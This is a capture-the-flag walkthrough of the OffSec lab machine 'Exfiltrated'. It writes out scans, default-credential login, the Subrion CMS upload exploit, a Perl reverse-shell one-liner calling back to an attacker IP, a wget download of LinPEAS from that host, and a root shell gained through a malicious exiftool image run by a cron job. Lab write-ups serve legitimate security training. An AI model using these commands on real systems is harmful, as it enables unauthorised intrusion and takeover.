Exfiltrated

Initial Reconnaissance

To kick things off, we perform a basic port scan using rustscan against the target IP 192.168.178.163. This quickly highlights which services are accessible:

rustscan -a 192.168.178.163

Scan output:

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 61
80/tcp open  http    syn-ack ttl 61

We see that both SSH (22) and HTTP (80) ports are open. To dig a bit deeper, we follow up with nmap for detailed service enumeration:

sudo nmap -Pn -n $IP -sC -sV -p- --open -v

Results:

This confirms that the web server is running Apache and redirects traffic to a virtual hostname: exfiltrated.offsec. To browse this site, we’ll need to tell our system where to find it.

Hostname Mapping

Edit the /etc/hosts file to map the domain to the local IP:

sudo nano /etc/hosts

Add:

192.168.178.163 exfiltrated.offsec

This step ensures your browser can resolve exfiltrated.offsec correctly.

Logging In – Subrion CMS

Visiting the web page now shows a login form. Trying out default credentials admin:admin lets us in – a common misconfiguration in real-world setups.

We also find an "Admin Dashboard" link which takes us to a Subrion CMS backend. The footer reveals the version: Subrion CMS 4.2.1.

Vulnerability Hunting – CVE-2018-19422

Doing a bit of research on this CMS version uncovers an exploit for CVE-2018-19422. It allows unauthenticated file uploads via a path traversal vulnerability.

We confirm its existence in searchsploit:

searchsploit subrion
searchsploit -m 49876

We then run the exploit, passing in the login credentials and URL:

python3 49876.py -u http://exfiltrated.offsec/panel/ -l admin -p admin

This exploit uploads a web shell disguised as a .phar file and gives us remote code execution under the www-data user.

Getting a Stable Shell

The initial shell is quite limited, so we check for perl on the target:

$ which perl
/usr/bin/perl

Using the Reverse Shell Generator, we generate Perl reverse shell:

Set up the listener on Kali machine:

sudo rlwrap nc -lnvp 4444

Trigger reverse shell on target machineL

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.45.199:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

We successfully catch a reverse shell:

└─$ sudo rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [192.168.45.199] from (UNKNOWN) [192.168.178.163] 37138

Stablise the reverse shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'; export TERM=xterm-256color

Enumeration – LinPEAS and Cron Jobs

To find paths to privilege escalation, we download and run LinPEAS:

wget http://192.168.45.199/linpeas.sh -O linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Notable Findings:

• The system is vulnerable to CVE-2021-3560 – a polkit privilege escalation bug.
• A suspicious cron job is set to run every minute as root, executing /opt/image-exif.sh.

Analysing image-exif.sh

This script scans .jpg files in the CMS’s upload directory and extracts metadata using exiftool.

Script content:

This suggests a potential injection point: if exiftool processes a malicious .jpg file, we could achieve command execution as root.

Exploiting ExifTool – CVE-2021-22204

After looking into potential exploits for ExifTool, I came across this one: https://www.exploit-db.com/exploits/50911, which links to the GitHub repository at https://github.com/UNICORDev/exploit-CVE-2021-22204. This vulnerability lets us craft a malicious image that triggers remote code execution when processed by exiftool.

Clone the PoC:

git clone https://github.com/UNICORDev/exploit-CVE-2021-22204.git 
cd exploit-CVE-2021-22204

Generate a payload that connects back to our listener. This creates a malicious image.jpg.

python3 exploit-CVE-2021-22204.py -s 192.168.45.199 135

Set up a listener on port 135 on Kali machine:

sudo rlwrap nc -nvlp 135

After generating the image.jpg file, we transfer it using a Python web server. In my case, the Python server is already running from the ~/Tools directory.

┌──(kali㉿kali)-[~/Tools]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

┌──(kali㉿kali)-[~/Tools/exploit-CVE-2021-22204]
└─$ cp image.jpg ~/Tools/images.jpg

Root Shell Gained

After waiting a minute for the cron to trigger the script, our listener catches a reverse shell — this time as root!

└─$ sudo rlwrap nc -nvlp 135
[sudo] password for kali: 
listening on [any] 135 ...

connect to [192.168.45.199] from (UNKNOWN) [192.168.178.163] 41778
/bin/sh: 0: can't access tty; job control turned off
# # id
uid=0(root) gid=0(root) groups=0(root)
# python3 -c 'import pty;pty.spawn("/bin/bash")'; export TERM=xterm-256color
root@exfiltrated:~#

The flags local.txt can be found in /home/coaran and proof.txt can be found in /root

Summary

Exfiltrated is a Proving Grounds Practice machine where we exploit a vulnerable instance of Subrion CMS 4.2.1 to gain initial access via a file upload bypass (CVE-2018-19422). After establishing a limited web shell, we upgrade to a stable reverse shell using Perl. For privilege escalation, we take advantage of a cron job that runs exiftool on uploaded images. By crafting a malicious image that exploits CVE-2021-22204, we trigger a reverse shell as root and retrieve both the user and root flags.

References

• https://gbozyelg.medium.com/proving-grounds-practice-exfiltrated-4c11efba893d
• https://medium.com/@batya05/offsec-exfiltrated-walkthrough-6c45ed90ec35